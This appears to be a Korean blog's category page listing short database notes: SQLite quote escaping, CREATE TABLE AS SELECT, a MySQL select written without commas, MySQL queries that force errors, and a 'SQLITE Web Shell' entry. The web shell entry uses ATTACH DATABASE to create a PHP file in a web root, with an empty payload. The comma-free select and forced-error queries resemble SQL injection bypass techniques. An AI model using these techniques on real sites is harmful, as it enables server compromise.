NGA

DB → (5)건

SQLITE Escape quote

SQLITE에서는 quote를 escape하기 위해서는 \ 대신에 quote를 두번 사용해야 한다. sqlite> select 'Hello there\'s'; ...> ' ...> ; Error: near "'; '": syntax error sqlite> select 'Hello there''s'; Hello there's sqlite> select "Hello there""s"; Hello there"s
DB/SQLITE 2020. 7. 7. 11:40

[MYSQL] select multiple columns without comma

# using comma mysql> select id,pw from users +-------+-------+ | id | pw | +-------+-------+ | admin | admin | | guest | guest | +-------+-------+ 2 rows in set (0.01 sec) # without comma mysql> select * fom (select id from user)a join (select pw from user)b; +-------+-------+ | id | pw | +-------+-------+ | admin | admin | | guest | admin | | admin | guest | | guest | guest | +-------+-------+ ..
DB/MYSQL 2020. 5. 24. 18:04

CREATE TABLE ~ as SELECT ~

sqlite에서 table을 생성할 때 as select 문을 이용하면 select 된 table을 생성될 table에 복사하게 된다. sqlite> create table a(b text); sqlite> insert into a values(1); sqlite> insert into a values(2); sqlite> insert into a values(3); sqlite> select * from a; 1 2 3 sqlite> create table b as select * from a; sqlite> select * from b; 1 2 3
DB/SQLITE 2020. 3. 9. 12:03

SQLITE Web Shell

ATTACH DATABASE '/var/www/html/cmd.php' AS shell; CREATE TABLE shell.payload (payload text); INSERT INTO shell.payload VALUES('' );
DB/SQLITE 2019. 12. 30. 18:02

[MYSQL] make error

mysql> select (select 1 union select 2); ERROR 1242 (21000): Subquery returns more than 1 row mysql> select 313130e302*30000000e300; ERROR 1690 (22003): DOUBLE value is out of range in '(313130e302 * 30000000e300)' mysql> select exp(740); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(740)' mysql> select 99999999999999999999999999*9999999999999999999999999999999999999999999999999999999..
DB/MYSQL 2018. 11. 3. 21:39
◀ 1 ▶

티스토리툴바